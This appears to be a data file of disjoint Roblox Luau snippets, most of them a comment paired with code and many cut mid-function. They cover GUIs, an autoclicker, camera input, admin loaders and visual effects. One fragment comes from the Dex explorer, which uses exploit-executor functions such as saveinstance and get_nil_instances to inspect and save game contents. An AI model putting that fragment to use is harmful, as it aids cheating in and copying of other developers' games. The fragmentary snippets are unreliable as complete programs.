--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
end
wait(data.Time or 5)
if gui and gui.Parent then
moveGuis(-2,gui)
gui:Destroy()
--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
end
end
|
----------------------------
--Patrol Script--
---------------------------- |
on = 0
Tool = script.Parent
welds = {}
sh = {}
arms = nil
torso = nil
f = nil
Holstered = false
wait()
local Tool = script.Parent
enabled = true |
--------END AUDIENCE BACK RIGHT-------- |
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
wait(0.15)
|
--[=[
@param ... any
@return args: table
Deserializes the arguments and returns the deserialized values.
]=] |
function Ser.DeserializeArgsAndUnpack(...: any): ...any
local args = Ser.DeserializeArgs(...)
return table.unpack(args, 1, args.n)
end
|
--Funcion Del AutoClick |
local plr = script.Parent.Parent.Parent
local lea = plr:WaitForChild("leaderstats")-- Nombre De La Carpeta De Su Sistema De Dinero
local gold = lea:WaitForChild("TimesClicked")-- Nombre De Su Sistema De Dinero
local coin = lea:WaitForChild("Coins")-- Nombre De Su Sistema De Dinero
local boost = plr:WaitForChild("CoinBoost")-- Nombre De Su Sistema De Dinero
local autoclick = false
local autoclickDD = false
function GetAuto()
gold.Value = gold.Value +1 --Cambiar Por Cuanto Dinero Quieres Que Obtenga
coin.Value = coin.Value + 1 + boost.Value --Cambiar Por Cuanto Dinero Quieres Que Obtenga
end
script.Parent.AutoClick.MouseButton1Click:Connect(function()
if autoclick == false then
autoclick = true
script.Parent.AutoClick.Text = "ON"
else
autoclick = false
script.Parent.AutoClick.Text = "OFF"
end
end)
while wait()do
if autoclick == true then
if autoclickDD == false then
autoclickDD = true
GetAuto(1)-- Cambia El Tiempo De Espera Al Recargar
wait(.1)-- Tambien Cambia Para El Tiempo De Espera Al Recargar
autoclickDD = false
end
end
end
|
-- Initialize weld tool |
local WeldTool = require(CoreTools:WaitForChild 'Weld')
Core.AssignHotkey('F', Core.Support.Call(Core.EquipTool, WeldTool));
Core.Dock.AddToolButton(Core.Assets.WeldIcon, 'F', WeldTool, 'WeldInfo');
|
-- Creates a new tree node from an object. Called when an object starts
-- existing in the game tree. |
local function addObject(object,noupdate)
if script then
-- protect against naughty RobloxLocked objects
local s = pcall(check,object)
if not s then
return
end
end
local parentNode = NodeLookup[object.Parent]
if not parentNode then
return
end
local objectNode = {
Object = object;
Parent = parentNode;
Index = 0;
Expanded = false;
Selected = false;
Depth = depth(object);
}
connLookup[object] = Connect(object.AncestryChanged,function(c,p)
if c == object then
if p == nil then
removeObject(c)
else
moveObject(c,p)
end
end
end)
NodeLookup[object] = objectNode
insert(parentNode,#parentNode+1,objectNode)
if not noupdate then
if nodeIsVisible(objectNode) then
updateList()
elseif nodeIsVisible(objectNode.Parent) then
updateScroll()
end
end
end
local function makeObject(obj,par)
local newObject = Instance.new(obj.ClassName)
for i,v in pairs(obj.Properties) do
pcall(function()
local newProp
newProp = ToPropValue(v.Value,v.Type)
newObject[v.Name] = newProp
end)
end
newObject.Parent = par
end
local function writeObject(obj)
local newObject = {ClassName = obj.ClassName, Properties = {}}
for i,v in pairs(RbxApi.GetProperties(obj.className)) do
if v["Name"] ~= "Parent" then
print("thispassed")
table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])})
end
end
return newObject
end
local function buildDexStorage()
local localDexStorage
local success,err = pcall(function()
localDexStorage = game:GetObjects("rbxasset://DexStorage.rbxm")[1]
end)
if success and localDexStorage then
for i,v in pairs(localDexStorage:GetChildren()) do
pcall(function()
v.Parent = DexStorageMain
end)
end
end
updateDexStorageListeners()
--[[
local localDexStorage = readfile(getelysianpath().."DexStorage.txt")--game:GetService("CookiesService"):GetCookieValue("DexStorage")
--local success,err = pcall(function()
if localDexStorage then
local objTable = game:GetService("HttpService"):JSONDecode(localDexStorage)
for i,v in pairs(objTable) do
makeObject(v,DexStorageMain)
end
end
--end)
--]]
end
local dexStorageDebounce = false
local dexStorageListeners = {}
local function updateDexStorage()
if dexStorageDebounce then return end
dexStorageDebounce = true
wait()
pcall(function()
saveinstance("content//DexStorage.rbxm",DexStorageMain)
end)
updateDexStorageListeners()
dexStorageDebounce = false
--[[
local success,err = pcall(function()
local objs = {}
for i,v in pairs(DexStorageMain:GetChildren()) do
table.insert(objs,writeObject(v))
end
writefile(getelysianpath().."DexStorage.txt",game:GetService("HttpService"):JSONEncode(objs))
--game:GetService("CookiesService"):SetCookieValue("DexStorage",game:GetService("HttpService"):JSONEncode(objs))
end)
if err then
CreateCaution("DexStorage Save Fail!","DexStorage broke! If you see this message, report to Raspberry Pi!")
end
print("hi")
--]]
end
function updateDexStorageListeners()
for i,v in pairs(dexStorageListeners) do
v:Disconnect()
end
dexStorageListeners = {}
for i,v in pairs(DexStorageMain:GetChildren()) do
pcall(function()
local ev = v.Changed:connect(updateDexStorage)
table.insert(dexStorageListeners,ev)
end)
end
end
do
NodeLookup[workspace.Parent] = {
Object = workspace.Parent;
Parent = nil;
Index = 0;
Expanded = true;
}
if DexStorageEnabled then
NodeLookup[DexStorage] = {
Object = DexStorage;
Parent = nil;
Index = 0;
Expanded = true;
}
end
if NilStorageEnabled then
NodeLookup[NilStorage] = {
Object = NilStorage;
Parent = nil;
Index = 0;
Expanded = true;
}
end
Connect(game.DescendantAdded,addObject)
Connect(game.DescendantRemoving,removeObject)
if DexStorageEnabled then
--[[
if readfile(getelysianpath().."DexStorage.txt") == nil then
writefile(getelysianpath().."DexStorage.txt","")
end
--]]
buildDexStorage()
Connect(DexStorage.DescendantAdded,addObject)
Connect(DexStorage.DescendantRemoving,removeObject)
Connect(DexStorage.DescendantAdded,updateDexStorage)
Connect(DexStorage.DescendantRemoving,updateDexStorage)
end
if NilStorageEnabled then
Connect(NilStorage.DescendantAdded,addObject)
Connect(NilStorage.DescendantRemoving,removeObject)
local currentTable = get_nil_instances()
spawn(function()
while wait() do
if #currentTable ~= #get_nil_instances() then
currentTable = get_nil_instances()
--NilStorageMain:ClearAllChildren()
for i,v in pairs(get_nil_instances()) do
if v ~= NilStorage and v ~= DexStorage then
pcall(function()
v.Parent = NilStorageMain
end)
--[[
local newNil = v
newNil.Archivable = true
newNil:Clone().Parent = NilStorageMain
--]]
end
end
end
end
end)
end
local function get(o)
return o:GetChildren()
end
local function r(o)
local s,children = pcall(get,o)
if s then
for i = 1,#children do
addObject(children[i],true)
r(children[i])
end
end
end
r(workspace.Parent)
if DexStorageEnabled then
r(DexStorage)
end
if NilStorageEnabled then
r(NilStorage)
end
scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
updateList()
end
|
-- you do not need to touch this script, it is only a loader to load Commander |
require(6648681899)(script.Settings, script.Packages, script.Stylesheets)
|
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- |
function updatechar()
for _, v in pairs(character:GetChildren())do
if CanViewBody then
if v.Name == 'Head' then
v.LocalTransparencyModifier = 1
v.CanCollide = false
v.face.LocalTransparencyModifier = 1
end
else
if v:IsA'Part' or v:IsA'UnionOperation' or v:IsA'MeshPart' then
v.LocalTransparencyModifier = 1
v.CanCollide = false
end
end
if v:IsA'Accessory' then
v:FindFirstChild('Handle').LocalTransparencyModifier = 1
v:FindFirstChild('Handle').CanCollide = false
end
if v:IsA'Hat' then
v:FindFirstChild('Handle').LocalTransparencyModifier = 1
v:FindFirstChild('Handle').CanCollide = false
end
end
end
function lerp(a, b, t)
return a * (1-t) + (b*t)
end
|
--script.Parent.OO.Velocity = script.Parent.OO.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.OOO.Velocity = script.Parent.OOO.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.OOOO.Velocity = script.Parent.OOOO.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.P.Velocity = script.Parent.P.CFrame.lookVector *script.Parent.Speed.Value |
--- Fire |
Signal.Fire = function(eventName, ...)
--- Variables
eventName = string.lower(eventName)
--- Get/create event
local event = GetEvent(eventName)
--- Signal for visualization/tracking purposes on Debug (Client only) META AF BTW
if (not isServer) and eventName ~= "core signal fired" then
Signal.Fire("CORE Signal Fired", eventName)
end
--- Fire event w/ data
event:Fire(...)
end
|
--[=[
Retrieves a global remote event from the store. On the server, it constructs a new one,
and on the client, it waits for it to exist.
:::tip
Consider using [PromiseGetRemoteEvent] for a non-yielding version
:::
```lua
-- server.lua
local GetRemoteEvent = require("GetRemoteEvent")
local remoteEvent = GetRemoteEvent("testing")
remoteEvent.OnServerEvent:Connect(print)
-- client.lua
local GetRemoteEvent = require("GetRemoteEvent")
local remoteEvent = GetRemoteEvent("testing")
remoteEvent:FireServer("Hello") --> Hello (on the server)
```
:::info
If the game is not running, then a mock remote event will be created
for use in testing.
:::
@yields
@function GetRemoteEvent
@within GetRemoteEvent
@param name string
@return RemoteEvent
]=] |
local require = require(script.Parent.loader).load(script)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local ResourceConstants = require("ResourceConstants")
if not RunService:IsRunning() then
return function(name)
local event = Instance.new("RemoteEvent")
event.Archivable = false
event.Name = "Mock" .. name
return event
end
elseif RunService:IsServer() then
return function(name)
assert(type(name) == "string", "Bad name")
local storage = ReplicatedStorage:FindFirstChild(ResourceConstants.REMOTE_EVENT_STORAGE_NAME)
if not storage then
storage = Instance.new("Folder")
storage.Name = ResourceConstants.REMOTE_EVENT_STORAGE_NAME
storage.Archivable = false
storage.Parent = ReplicatedStorage
end
local event = storage:FindFirstChild(name)
if event then
return event
end
event = Instance.new("RemoteEvent")
event.Name = name
event.Archivable = false
event.Parent = storage
return event
end
else -- RunService:IsClient()
return function(name)
assert(type(name) == "string", "Bad name")
return ReplicatedStorage:WaitForChild(ResourceConstants.REMOTE_EVENT_STORAGE_NAME):WaitForChild(name)
end
end
|
-- Get references to the DockShelf and its children |
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.DRoblox
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--// Holiday roooaaAaaoooAaaooOod |
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, spawn, delay, task, assert =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, table.unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, task.wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, task.defer, task.delay, task, function(cond, errMsg) return cond or error(errMsg or "assertion failed!", 2) end;
local SERVICES_WE_USE = table.freeze {
"Workspace";
"Players";
"Lighting";
"ServerStorage";
"ReplicatedStorage";
"JointsService";
"ReplicatedFirst";
"ScriptContext";
"ServerScriptService";
"LogService";
"Teams";
"SoundService";
"StarterGui";
"StarterPack";
"StarterPlayer";
"GroupService";
"MarketplaceService";
"MarketplaceService";
"TestService";
"HttpService";
"RunService";
"InsertService";
"NetworkServer";
}
local unique = {}
local origEnv = getfenv(); setfenv(1,setmetatable({}, {__metatable = unique}))
local locals = {}
local server = {}
local service = {}
local RbxEvents = {}
local ErrorLogs = {}
local HookedEvents = {}
local ServiceSpecific = {}
local oldReq = require
local Folder = script.Parent
local oldInstNew = Instance.new
local isModule = function(module)
for ind, modu in pairs(server.Modules) do
if module == modu then
return true
end
end
return false
end
local logError = function(plr, err)
if type(plr) == "string" and not err then
err = plr;
plr = nil;
end
if server.Core and server.Core.DebugMode then
warn("::Adonis:: Error: "..tostring(plr)..": "..tostring(err))
end
if server and server.Logs then
server.Logs.AddLog(server.Logs.Errors, {
Text = ((err and plr and tostring(plr) ..":") or "").. tostring(err),
Desc = err,
Player = plr
})
end
end
|
--WeldRec(P.Parent.Lights) |
local model = script.Parent
for _,v in pairs(script.Parent:GetChildren()) do
v.Parent = model.Parent
end
model:Destroy()
script:Destroy()
|
-- carSeat.Parent.Misc.IL.SS.Motor.DesiredAngle = 0.3 |
wait(1/3)
Debounce = false
end
elseif k == 'c' then -- right
if not Debounce then
Debounce = true
handler:FireServer('blinkers', 'Right') |
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{61,59,41,30,56,58},t},
[49]={{61,59,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{61,59,41,30,56,58,20,19},t},
[59]={{61,59},t},
[63]={{61,59,41,30,56,58,23,62,63},t},
[34]={{61,59,41,39,35,34},t},
[21]={{61,59,41,30,56,58,20,21},t},
[48]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{61,59,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{61,59,41,39,35,34,32,31},t},
[56]={{61,59,41,30,56},t},
[29]={{61,59,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{61,59,41,39,35,34,32,31,29,28,44,45},t},
[57]={{61,59,41,30,56,57},t},
[36]={{61,59,41,39,35,37,36},t},
[25]={{61,59,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{61,71},t},
[20]={{61,59,41,30,56,58,20},t},
[60]={{61,60},t},
[8]={n,f},
[4]={n,f},
[75]={{61,71,72,76,73,75},t},
[22]={{61,59,41,30,56,58,20,21,22},t},
[74]={{61,71,72,76,73,74},t},
[62]={{61,59,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{61,59,41,39,35,37},t},
[2]={n,f},
[35]={{61,59,41,39,35},t},
[53]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{61,71,72,76,73},t},
[72]={{61,71,72},t},
[33]={{61,59,41,39,35,37,36,33},t},
[69]={{61,69},t},
[65]={{61,59,41,30,56,58,20,19,66,64,65},t},
[26]={{61,59,41,39,35,34,32,31,29,28,27,26},t},
[68]={{61,59,41,30,56,58,20,19,66,64,67,68},t},
[76]={{61,71,72,76},t},
[50]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{61,59,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{61,59,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{61,59,41,30,56,58,23},t},
[44]={{61,59,41,39,35,34,32,31,29,28,44},t},
[39]={{61,59,41,39},t},
[32]={{61,59,41,39,35,34,32},t},
[3]={n,f},
[30]={{61,59,41,30},t},
[51]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{61,59,41,30,56,58,20,19,66,64,67},t},
[61]={{61},t},
[55]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{61,59,41,39,40,38,42},t},
[40]={{61,59,41,39,40},t},
[52]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{61,59,41},t},
[17]={n,f},
[38]={{61,59,41,39,40,38},t},
[28]={{61,59,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{61,59,41,30,56,58,20,19,66,64},t},
}
return r
|
--//Custom Functions\\-- |
function FindRigType()
characterRigType = rigType:InvokeServer(tool)
print(characterRigType.." rig found.")
end
function activate()
if specialDB then
specialDB = false
activateSpecial:FireServer(mouse.Hit)
else
end
end
|
-- Adjust the touch sensitivity so that sensitivity is reduced when swiping up
-- or down, but stays the same when swiping towards the middle of the screen |
local function adjustTouchPitchSensitivity(delta: Vector2): Vector2
local camera = workspace.CurrentCamera
if not camera then
return delta
end
-- get the camera pitch in world space
local pitch = camera.CFrame:ToEulerAnglesYXZ()
if delta.Y*pitch >= 0 then
-- do not reduce sensitivity when pitching towards the horizon
return delta
end
-- set up a line to fit:
-- 1 = f(0)
-- 0 = f(±pi/2)
local curveY = 1 - (2*math.abs(pitch)/math.pi)^0.75
-- remap curveY from [0, 1] -> [MIN_TOUCH_SENSITIVITY_FRACTION, 1]
local sensitivity = curveY*(1 - MIN_TOUCH_SENSITIVITY_FRACTION) + MIN_TOUCH_SENSITIVITY_FRACTION
return Vector2.new(1, sensitivity)*delta
end
local function isInDynamicThumbstickArea(pos: Vector3): boolean
local playerGui = player:FindFirstChildOfClass("PlayerGui")
local touchGui = playerGui and playerGui:FindFirstChild("TouchGui")
local touchFrame = touchGui and touchGui:FindFirstChild("TouchControlFrame")
local thumbstickFrame = touchFrame and touchFrame:FindFirstChild("DynamicThumbstickFrame")
if not thumbstickFrame then
return false
end
if not touchGui.Enabled then
return false
end
local posTopLeft = thumbstickFrame.AbsolutePosition
local posBottomRight = posTopLeft + thumbstickFrame.AbsoluteSize
return
pos.X >= posTopLeft.X and
pos.Y >= posTopLeft.Y and
pos.X <= posBottomRight.X and
pos.Y <= posBottomRight.Y
end
local worldDt = 1/60
RunService.Stepped:Connect(function(_, _worldDt)
worldDt = _worldDt
end)
local CameraInput = {}
do
local connectionList = {}
local panInputCount = 0
local function incPanInputCount()
panInputCount = math.max(0, panInputCount + 1)
end
local function decPanInputCount()
panInputCount = math.max(0, panInputCount - 1)
end
local function resetPanInputCount()
panInputCount = 0
end
local touchPitchSensitivity = 1
local gamepadState = {
Thumbstick2 = Vector2.new(),
}
local keyboardState = {
Left = 0,
Right = 0,
I = 0,
O = 0
}
local mouseState = {
Movement = Vector2.new(),
Wheel = 0, -- PointerAction
Pan = Vector2.new(), -- PointerAction
Pinch = 0, -- PointerAction
}
local touchState = {
Move = Vector2.new(),
Pinch = 0,
}
local gamepadZoomPressBindable = Instance.new("BindableEvent")
CameraInput.gamepadZoomPress = gamepadZoomPressBindable.Event
local gamepadResetBindable = VRService.VREnabled and Instance.new("BindableEvent") or nil
if VRService.VREnabled then
CameraInput.gamepadReset = gamepadResetBindable.Event
end
function CameraInput.getRotationActivated(): boolean
return panInputCount > 0 or gamepadState.Thumbstick2.Magnitude > 0
end
function CameraInput.getRotation(disableKeyboardRotation: boolean?): Vector2
local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
-- keyboard input is non-coalesced, so must account for time delta
local kKeyboard = Vector2.new(keyboardState.Right - keyboardState.Left, 0)*worldDt
local kGamepad = gamepadState.Thumbstick2
local kMouse = mouseState.Movement
local kPointerAction = mouseState.Pan
local kTouch = adjustTouchPitchSensitivity(touchState.Move)
if disableKeyboardRotation then
kKeyboard = Vector2.new()
end
local result =
kKeyboard*ROTATION_SPEED_KEYS +
kGamepad*ROTATION_SPEED_GAMEPAD +
kMouse*ROTATION_SPEED_MOUSE +
kPointerAction*ROTATION_SPEED_POINTERACTION +
kTouch*ROTATION_SPEED_TOUCH
return result*inversionVector
end
function CameraInput.getZoomDelta(): number
local kKeyboard = keyboardState.O - keyboardState.I
local kMouse = -mouseState.Wheel + mouseState.Pinch
local kTouch = -touchState.Pinch
return kKeyboard*ZOOM_SPEED_KEYS + kMouse*ZOOM_SPEED_MOUSE + kTouch*ZOOM_SPEED_TOUCH
end
do
local function thumbstick(action, state, input)
local position = input.Position
gamepadState[input.KeyCode.Name] = Vector2.new(thumbstickCurve(position.X), -thumbstickCurve(position.Y))
return Enum.ContextActionResult.Pass
end
local function mouseMovement(input)
local delta = input.Delta
mouseState.Movement = Vector2.new(delta.X, delta.Y)
end
local function mouseWheel(action, state, input)
mouseState.Wheel = input.Position.Z
return Enum.ContextActionResult.Pass
end
local function keypress(action, state, input)
keyboardState[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
end
local function gamepadZoomPress(action, state, input)
if state == Enum.UserInputState.Begin then
gamepadZoomPressBindable:Fire()
end
end
local function gamepadReset(action, state, input)
if state == Enum.UserInputState.Begin then
gamepadResetBindable:Fire()
end
end
local function resetInputDevices()
for _, device in pairs({
gamepadState,
keyboardState,
mouseState,
touchState,
}) do
for k, v in pairs(device) do
if type(v) == "boolean" then
device[k] = false
else
device[k] *= 0 -- Mul by zero to preserve vector types
end
end
end
end
local touchBegan, touchChanged, touchEnded, resetTouchState do
-- Use TouchPan & TouchPinch when they work in the Studio emulator
local touches: {[InputObject]: boolean?} = {} -- {[InputObject] = sunk}
local dynamicThumbstickInput: InputObject? -- Special-cased
local lastPinchDiameter: number?
function touchBegan(input: InputObject, sunk: boolean)
assert(input.UserInputType == Enum.UserInputType.Touch)
assert(input.UserInputState == Enum.UserInputState.Begin)
if dynamicThumbstickInput == nil and isInDynamicThumbstickArea(input.Position) and not sunk then
-- any finger down starting in the dynamic thumbstick area should always be
-- ignored for camera purposes. these must be handled specially from all other
-- inputs, as the DT does not sink inputs by itself
dynamicThumbstickInput = input
return
end
if not sunk then
incPanInputCount()
end
-- register the finger
touches[input] = sunk
end
function touchEnded(input: InputObject, sunk: boolean)
assert(input.UserInputType == Enum.UserInputType.Touch)
assert(input.UserInputState == Enum.UserInputState.End)
-- reset the DT input
if input == dynamicThumbstickInput then
dynamicThumbstickInput = nil
end
-- reset pinch state if one unsunk finger lifts
if touches[input] == false then
lastPinchDiameter = nil
decPanInputCount()
end
-- unregister input
touches[input] = nil
end
function touchChanged(input, sunk)
assert(input.UserInputType == Enum.UserInputType.Touch)
assert(input.UserInputState == Enum.UserInputState.Change)
-- ignore movement from the DT finger
if input == dynamicThumbstickInput then
return
end
-- fixup unknown touches
if touches[input] == nil then
touches[input] = sunk
end
-- collect unsunk touches
local unsunkTouches = {}
for touch, sunk in pairs(touches) do
if not sunk then
table.insert(unsunkTouches, touch)
end
end
-- 1 finger: pan
if #unsunkTouches == 1 then
if touches[input] == false then
local delta = input.Delta
touchState.Move += Vector2.new(delta.X, delta.Y) -- total touch pan movement (reset at end of frame)
end
end
-- 2 fingers: pinch
if #unsunkTouches == 2 then
local pinchDiameter = (unsunkTouches[1].Position - unsunkTouches[2].Position).Magnitude
if lastPinchDiameter then
touchState.Pinch += pinchDiameter - lastPinchDiameter
end
lastPinchDiameter = pinchDiameter
else
lastPinchDiameter = nil
end
end
function resetTouchState()
touches = {}
dynamicThumbstickInput = nil
lastPinchDiameter = nil
if FFlagUserResetTouchStateOnMenuOpen then
resetPanInputCount()
end
end
end
local function pointerAction(wheel, pan, pinch, gpe)
if not gpe then
mouseState.Wheel = wheel
mouseState.Pan = pan
mouseState.Pinch = -pinch
end
end
local function inputBegan(input, sunk)
if input.UserInputType == Enum.UserInputType.Touch then
touchBegan(input, sunk)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not sunk then
incPanInputCount()
end
end
local function inputChanged(input, sunk)
if input.UserInputType == Enum.UserInputType.Touch then
touchChanged(input, sunk)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
mouseMovement(input)
end
end
local function inputEnded(input, sunk)
if input.UserInputType == Enum.UserInputType.Touch then
touchEnded(input, sunk)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
decPanInputCount()
end
end
local inputEnabled = false
function CameraInput.setInputEnabled(_inputEnabled)
if inputEnabled == _inputEnabled then
return
end
inputEnabled = _inputEnabled
resetInputDevices()
resetTouchState()
if inputEnabled then -- enable
ContextActionService:BindActionAtPriority(
"RbxCameraThumbstick",
thumbstick,
false,
CAMERA_INPUT_PRIORITY,
Enum.KeyCode.Thumbstick2
)
ContextActionService:BindActionAtPriority(
"RbxCameraKeypress",
keypress,
false,
CAMERA_INPUT_PRIORITY,
Enum.KeyCode.Left,
Enum.KeyCode.Right,
Enum.KeyCode.I,
Enum.KeyCode.O
)
if VRService.VREnabled then
ContextActionService:BindAction(
"RbxCameraGamepadReset",
gamepadReset,
false,
Enum.KeyCode.ButtonL3
)
end
ContextActionService:BindAction(
"RbxCameraGamepadZoom",
gamepadZoomPress,
false,
Enum.KeyCode.ButtonR3
)
table.insert(connectionList, UserInputService.InputBegan:Connect(inputBegan))
table.insert(connectionList, UserInputService.InputChanged:Connect(inputChanged))
table.insert(connectionList, UserInputService.InputEnded:Connect(inputEnded))
table.insert(connectionList, UserInputService.PointerAction:Connect(pointerAction))
if FFlagUserResetTouchStateOnMenuOpen then
local GuiService = game:GetService("GuiService")
table.insert(connectionList, GuiService.MenuOpened:connect(resetTouchState))
end
else -- disable
ContextActionService:UnbindAction("RbxCameraThumbstick")
ContextActionService:UnbindAction("RbxCameraMouseMove")
ContextActionService:UnbindAction("RbxCameraMouseWheel")
ContextActionService:UnbindAction("RbxCameraKeypress")
ContextActionService:UnbindAction("RbxCameraGamepadZoom")
if VRService.VREnabled then
ContextActionService:UnbindAction("RbxCameraGamepadReset")
end
for _, conn in pairs(connectionList) do
conn:Disconnect()
end
connectionList = {}
end
end
function CameraInput.getInputEnabled()
return inputEnabled
end
function CameraInput.resetInputForFrameEnd()
mouseState.Movement = Vector2.new()
touchState.Move = Vector2.new()
touchState.Pinch = 0
mouseState.Wheel = 0 -- PointerAction
mouseState.Pan = Vector2.new() -- PointerAction
mouseState.Pinch = 0 -- PointerAction
end
UserInputService.WindowFocused:Connect(resetInputDevices)
UserInputService.WindowFocusReleased:Connect(resetInputDevices)
end
end
|
--DO NOT MESS WITH THIS SCRIPT UNLESS YOU REALLY NEED TOO!!!!!!!!!!!!!! | |
--Made by Luckymaxer |
Debris = game:GetService("Debris")
Camera = game:GetService("Workspace").CurrentCamera
Sounds = {
RayHit = script:WaitForChild("Hit")
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Laser"
BaseRay.BrickColor = BrickColor.new("New Yeller")
BaseRay.Material = Enum.Material.SmoothPlastic
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
function PlaySound(Position, Sound)
local SoundPart = BasePart:Clone()
SoundPart.Name = "ParticlePart"
SoundPart.Transparency = 1
SoundPart.Anchored = true
SoundPart.CanCollide = false
local SoundObject = Sound:Clone()
SoundObject.Parent = SoundPart
Debris:AddItem(SoundPart, 1.5)
SoundPart.Parent = game:GetService("Workspace")
SoundPart.CFrame = CFrame.new(Position)
SoundObject:Play()
end
function FireRay(StartPosition, TargetPosition, Hit)
local Vec = (TargetPosition - StartPosition)
local Distance = Vec.magnitude
local Direction = Vec.unit
local PX = (StartPosition + (0.25 * Distance) * Direction)
local PY = (StartPosition + (0.5 * Distance) * Direction)
local PZ = (StartPosition + (0.75 * Distance) * Direction)
local DX = (StartPosition - PX).magnitude
local DY = (PX - PY).magnitude
local DZ = (PY - PZ).magnitude
local Limit = 2
local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX)))))
local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY)))))
local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ)))))
local Rays = {
{Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)},
{Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)},
{Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)},
{Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)},
}
